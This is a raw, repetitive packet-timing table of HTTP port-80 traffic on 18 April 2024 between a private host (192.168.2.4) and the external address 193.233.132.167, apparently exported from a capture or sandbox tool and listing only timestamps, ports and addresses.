Apr 18, 2024 23:40:14.893696070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893735886 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893758059 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893795967 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893807888 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893834114 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893841982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893891096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.893899918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893939018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.893987894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894006968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894047976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894084930 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894097090 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894135952 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894154072 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894192934 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894205093 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894231081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894246101 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894272089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894279957 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894311905 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894361019 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894376993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894412994 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894435883 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894452095 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894458055 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894496918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894546986 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894565105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894601107 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894612074 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894648075 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894651890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894701958 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894733906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894746065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894783020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894797087 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894819021 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894841909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894849062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894900084 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.894929886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894968033 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.894979954 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895006895 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895015001 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895045042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895056009 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895085096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895095110 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895123005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895137072 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895167112 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895195961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895236015 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895250082 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895275116 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895315886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895324945 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895330906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895354033 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895368099 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895379066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895406961 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895426035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895446062 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895454884 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895484924 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895523071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895533085 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895576000 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895634890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895739079 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895746946 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895785093 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895798922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895823956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895862103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895872116 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895884037 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895906925 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895935059 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.895937920 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.895976067 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896003008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896013021 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896024942 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896054983 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896076918 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896092892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896112919 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896148920 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896152973 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896208048 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896244049 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896255970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896282911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896291971 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896322012 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896332026 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896362066 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896373034 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896413088 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896428108 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896464109 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896502018 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896516085 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896539927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896549940 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896578074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896591902 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896616936 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896627903 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896660089 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896663904 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896673918 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896703959 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896712065 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896724939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896750927 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896761894 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896789074 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896826029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896835089 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896863937 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896873951 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896903038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896919012 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896941900 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896955013 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.896980047 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.896991968 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897017956 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897028923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897056103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897068977 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897094011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897108078 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897140026 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897160053 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897181034 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897196054 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897219896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897237062 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:14.897259951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:14.897311926 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.072834015 CEST	49756	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.073483944 CEST	49757	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.134730101 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.134840965 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.134970903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.135005951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.135025024 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.135031939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.135046005 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.135050058 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.135066986 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.135070086 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.135118008 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144820929 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144843102 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144860029 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144879103 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144890070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144890070 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144897938 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144911051 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144917011 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144928932 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144937992 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144948959 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144958019 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144968033 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144978046 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.144985914 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.144999981 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145004988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145019054 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145021915 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145037889 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145040989 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145056009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145073891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145081997 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145092964 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145109892 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145117044 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145128965 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145137072 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145148993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145160913 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145167112 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145179987 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145186901 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145195961 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145211935 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145214081 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145231009 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145241976 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145245075 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145260096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145267010 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145278931 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145297050 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145297050 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145313978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145319939 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145333052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145342112 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145354033 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145370960 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145371914 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145390987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145395994 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145396948 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145410061 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145415068 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145428896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145431995 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145447016 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145464897 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145471096 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145483017 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145493031 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145502090 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145524979 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145525932 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145545006 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145562887 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145565987 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145586014 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145587921 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145606041 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145613909 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145626068 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145636082 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145644903 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145652056 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145663023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145679951 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145694017 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145694017 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145698071 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145714045 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145716906 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145733118 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145737886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145759106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145759106 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145759106 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145778894 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145797968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145812988 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145814896 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145833969 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145834923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145860910 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145868063 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145879984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145898104 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145908117 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145915031 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145927906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145934105 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145947933 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145952940 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145967007 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145971060 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145983934 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.145991087 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.145998955 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146008968 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146018982 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146028042 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146044970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146044970 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146049023 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146068096 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146085978 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146097898 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146105051 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146116972 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146123886 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146141052 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146151066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146159887 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146177053 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146188974 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146197081 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146214008 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146220922 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146231890 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146239996 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146250010 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146267891 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146277905 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146277905 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146286964 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146297932 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146306038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146313906 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146323919 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146330118 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146342993 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146346092 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146362066 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146363020 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146384954 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146400928 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146409035 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146420002 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146431923 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146439075 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146457911 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146464109 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146476984 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146482944 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146496058 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146512032 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146517038 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146536112 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146538973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146538973 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146554947 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146562099 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146576881 CEST	80	49746	193.233.132.167	192.168.2.4
Apr 18, 2024 23:40:15.146578074 CEST	49746	80	192.168.2.4	193.233.132.167
Apr 18, 2024 23:40:15.146595955 CEST	80	49746	193.233.132.167	192.168.2.4
